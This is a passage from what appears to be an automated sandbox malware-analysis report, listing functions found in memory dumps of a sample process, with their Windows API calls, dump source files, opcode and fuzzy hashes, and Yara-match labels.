                                                                                                                                                                                                                                  • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Load
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2234796835-0
                                                                                                                                                                                                                                  • Opcode ID: 90d73e621cc08f4a9ed1d1740188d061b23799454a9e2317261cb8f92ef099cd
                                                                                                                                                                                                                                  • Instruction ID: c53e3bbf2257ca88ab0d94358621f744d2e471f072ffd550cd1309914bbfdc73
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 90d73e621cc08f4a9ed1d1740188d061b23799454a9e2317261cb8f92ef099cd
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 450188B5E0020DBBCF10DBA4DC41FDDB7759F54309F0042AAED0957241F5359A55C791
                                                                                                                                                                                                                                  Function 0041A673 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeHeap
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3298025750-0
                                                                                                                                                                                                                                  • Opcode ID: d79992e01da6439903cc4240d34a202cae6a2e95b6d48c297819d8b0ed0a2a34
                                                                                                                                                                                                                                  • Instruction ID: aac11bc28548032ded5dc6cafa070218ebcbcb40282671bb58e070e760d70dbc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d79992e01da6439903cc4240d34a202cae6a2e95b6d48c297819d8b0ed0a2a34
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 96F096FA205144AFD704DF65E881CEBB799EFC8314714854EF89D87641C131E9168B71
                                                                                                                                                                                                                                  Function 0041A632 Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeHeap
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3298025750-0
                                                                                                                                                                                                                                  • Opcode ID: 6682c303cae4925828f2de036c52a98478ca09f98012fa969af122f7096d8c43
                                                                                                                                                                                                                                  • Instruction ID: 902fbcab4dc8669c09795270fcdb31d7fd7f4e78a8f6eb01e65b33aa0f2cd1a6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6682c303cae4925828f2de036c52a98478ca09f98012fa969af122f7096d8c43
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 61F0BEB2605204BBEB29DFA8EC4ADE777ACEF84224F08455AFD0D57202D635ED1086F0
                                                                                                                                                                                                                                  Function 0041A793 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A7D0
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LookupPrivilegeValue
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3899507212-0
                                                                                                                                                                                                                                  • Opcode ID: 1d993791a722925b6fb135c1600357b7c19decd2a0e6998c091543dbaac8067f
                                                                                                                                                                                                                                  • Instruction ID: f816c2bfb17c26c7d0e63cb59ec9b4d352a522a1903fdd65773ee851dd58dd1f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1d993791a722925b6fb135c1600357b7c19decd2a0e6998c091543dbaac8067f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DBE0EDB1240204AFCB24DF50CC85EEB73A9EF80304F00816EF909AB152CA30E815CBB5
                                                                                                                                                                                                                                  Function 0041A640 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeHeap
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3298025750-0
                                                                                                                                                                                                                                  • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                                                                  • Instruction ID: 3f65de21c9b51a2b7742007d51c6b1fad19b07b0b1b2c98d2bb582ee848745b4
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1EE046B1210208ABDB18EF99CC49EE777ACEF88764F018559FE085B242C630F911CAF0
                                                                                                                                                                                                                                  Function 0041A7A0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A7D0
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LookupPrivilegeValue
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3899507212-0
                                                                                                                                                                                                                                  • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                                                                  • Instruction ID: a195d06a74d451d332e2306e76e7c3aa502b90bd3f16d73f11471c4c6d802808
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2FE01AB12102086BDB10DF49CC85EE737ADAF88654F018155BA0857241C934E8118BF5
                                                                                                                                                                                                                                  Function 0041A680 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6A8
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ExitProcess
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 621844428-0
                                                                                                                                                                                                                                  • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                                                                  • Instruction ID: 026b6f0270740822b369349059f6971daea101c61a9fac8a7aff4918670f7806
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C1D017726112187BD620EB99CC85FD777ACDF487A4F0180AABA1C6B242C531BA11CAE1
                                                                                                                                                                                                                                  Function 1DF92C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 871a5a8de81d3ee15834475ac19456040a935d78ab4d185abffce0a1164da9c4
                                                                                                                                                                                                                                  • Instruction ID: 558783d9dd9c801968afd6cb1773f072e9ad47466e3168c808c7b1d7893f8ea5
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 871a5a8de81d3ee15834475ac19456040a935d78ab4d185abffce0a1164da9c4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 20B09B71D415C5D5E615E764460871B790067D0711F55C065E2070651F477CD2D1E177

                                                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                                                  Function 1DFFFD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                                                                                                                                                                                                  • API String ID: 3446177414-3492000579
                                                                                                                                                                                                                                  • Opcode ID: ee08fd1f4a05a6324072511eb96972855364198cf4b0cd9cb97a8455fbd4b3f3
                                                                                                                                                                                                                                  • Instruction ID: d772884e4990418acc39d95d50fd03d30cf6c2a95bae8e921ac89a688503bbe8
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ee08fd1f4a05a6324072511eb96972855364198cf4b0cd9cb97a8455fbd4b3f3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3171DD32904285DFCB01CFACC580AADFBF2FF49304F558159E5459B2A2C735AB85CBA2
                                                                                                                                                                                                                                  Function 1DF84D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • minkernel\ntdll\ldrsnap.c, xrefs: 1DFC3640, 1DFC366C
                                                                                                                                                                                                                                  • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 1DFC362F
                                                                                                                                                                                                                                  • LdrpFindDllActivationContext, xrefs: 1DFC3636, 1DFC3662
                                                                                                                                                                                                                                  • Querying the active activation context failed with status 0x%08lx, xrefs: 1DFC365C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                                                                                                                                                                                                  • API String ID: 3446177414-3779518884
                                                                                                                                                                                                                                  • Opcode ID: 43cfaa519fe7270dbeefd695e5f7bcc9e44fa02a224c7baac2a7da734e481c8a
                                                                                                                                                                                                                                  • Instruction ID: d754e8cc43dc9b23a539e33fd34c4c8fbf31f646b663879fac61bd96f30cec04
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 43cfaa519fe7270dbeefd695e5f7bcc9e44fa02a224c7baac2a7da734e481c8a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F031C633900652EEDB11DB0CCD88E7577E6FB01754F07816EE81897263E7609F8086A7
                                                                                                                                                                                                                                  Function 1DF4F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                                                                  • API String ID: 3446177414-3610490719
                                                                                                                                                                                                                                  • Opcode ID: 3b4c46108574b2ccea9930a6e23acda20b4def48e0d3c66b17f7ee6c9189816b
                                                                                                                                                                                                                                  • Instruction ID: f5e0456d1ae93130e10bf4415b9e6689f74b559d3724daa06ee3812448ec6e58
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3b4c46108574b2ccea9930a6e23acda20b4def48e0d3c66b17f7ee6c9189816b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F912836705641DBD316CF2CC988B2ABBA4FF80A44F158559EA598F290DB34FE40C7A3
                                                                                                                                                                                                                                  Function 1DF79803 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
                                                                                                                                                                                                                                  • API String ID: 3446177414-2283098728
                                                                                                                                                                                                                                  • Opcode ID: 330ca15eee3c31a2421ddff9c31bc7a99e8d0446c40faadd792157863c38ae30
                                                                                                                                                                                                                                  • Instruction ID: 90776a289a0d422719fb469d0730e331759ba282221de7400bb594cea2b9d9df
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 330ca15eee3c31a2421ddff9c31bc7a99e8d0446c40faadd792157863c38ae30
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4A5126716043029BD715DF2CCD80BE977A1BF84614F55462EE995876A1EB30AF00CBA3
                                                                                                                                                                                                                                  Function 1DF7EF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: 06048df866a7ae28f049b99b61721e7e50d54677d02299e92f7dd991246b150d
                                                                                                                                                                                                                                  • Instruction ID: d72234c43b958179658627f919dcdc6d8c69644754d64046734ac1fa8e800f5c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 06048df866a7ae28f049b99b61721e7e50d54677d02299e92f7dd991246b150d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 46E11276D00649DFCB21CFA9C980ADDBBF1FF48314F24452AE946A7660D771AA41CF22
                                                                                                                                                                                                                                  Function 1DF559C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: @
                                                                                                                                                                                                                                  • API String ID: 0-2766056989
                                                                                                                                                                                                                                  • Opcode ID: 86c1f656886d04936fb70dda3a54d404809a34b82bffb9d539ebf2777124fcfa
                                                                                                                                                                                                                                  • Instruction ID: bc417fd77022954429e88dafffe51f04b76f5e778e6b0f5e8a60e7c1bb947f6e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 86c1f656886d04936fb70dda3a54d404809a34b82bffb9d539ebf2777124fcfa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B6326674D0426ADFDB21CF68C888BEDBBB0BB09304F0081E9D558A7651D7756B84CFA2
                                                                                                                                                                                                                                  Function 1DF84C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: 0$Flst
                                                                                                                                                                                                                                  • API String ID: 0-758220159
                                                                                                                                                                                                                                  • Opcode ID: 202ea9fd121afc415e2baad311bec6bd8521361db74f891c4cb91b6c0fb08d08
                                                                                                                                                                                                                                  • Instruction ID: bafac80c17376dcfa81ee9a101ae6a4250296035ba7b5896515a809272d5ea9f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 202ea9fd121afc415e2baad311bec6bd8521361db74f891c4cb91b6c0fb08d08
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A151BCB2E0029A8FCB15CF9CC984A6DFBF5EF44744F15802ED0499B251E770AA81CB92
                                                                                                                                                                                                                                  Function 1DFDCEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • @_EH4_CallFilterFunc@8.LIBCMT ref: 1DFDCFBD
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CallFilterFunc@8
                                                                                                                                                                                                                                  • String ID: @$@4Cw@4Cw
                                                                                                                                                                                                                                  • API String ID: 4062629308-3101775584
                                                                                                                                                                                                                                  • Opcode ID: 95a603230b8b91a758c451f8bab420298beb42b636d8f07475637eaf06063622
                                                                                                                                                                                                                                  • Instruction ID: 344f8170a46c1f060d286013f2998e58b8d6365aa804593dfb9e44b9d736a7da
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 95a603230b8b91a758c451f8bab420298beb42b636d8f07475637eaf06063622
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 28418075904758DECB12CF9DCD80AADBBB8FF84700F15412AEA05DB264D634AA01CB62
                                                                                                                                                                                                                                  Function 00416CBC Relevance: .0, Instructions: 12COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: 9fc86ce834fc3f7ee215baf8fc458d04d50a4606ada357106492b4fd1dc71053
                                                                                                                                                                                                                                  • Instruction ID: 7d3f6ac91c13c35524bd1ddd54e5c486413122727f6110776ca62e9ee94c5449
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9fc86ce834fc3f7ee215baf8fc458d04d50a4606ada357106492b4fd1dc71053
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C7A0112BF0E2080200280C0838800B0F3A8C2CB03AC2033EBCE08B30002883C82000CC
                                                                                                                                                                                                                                  Function 1DF92890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ___swprintf_l
                                                                                                                                                                                                                                  • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                                                                  • API String ID: 48624451-2108815105
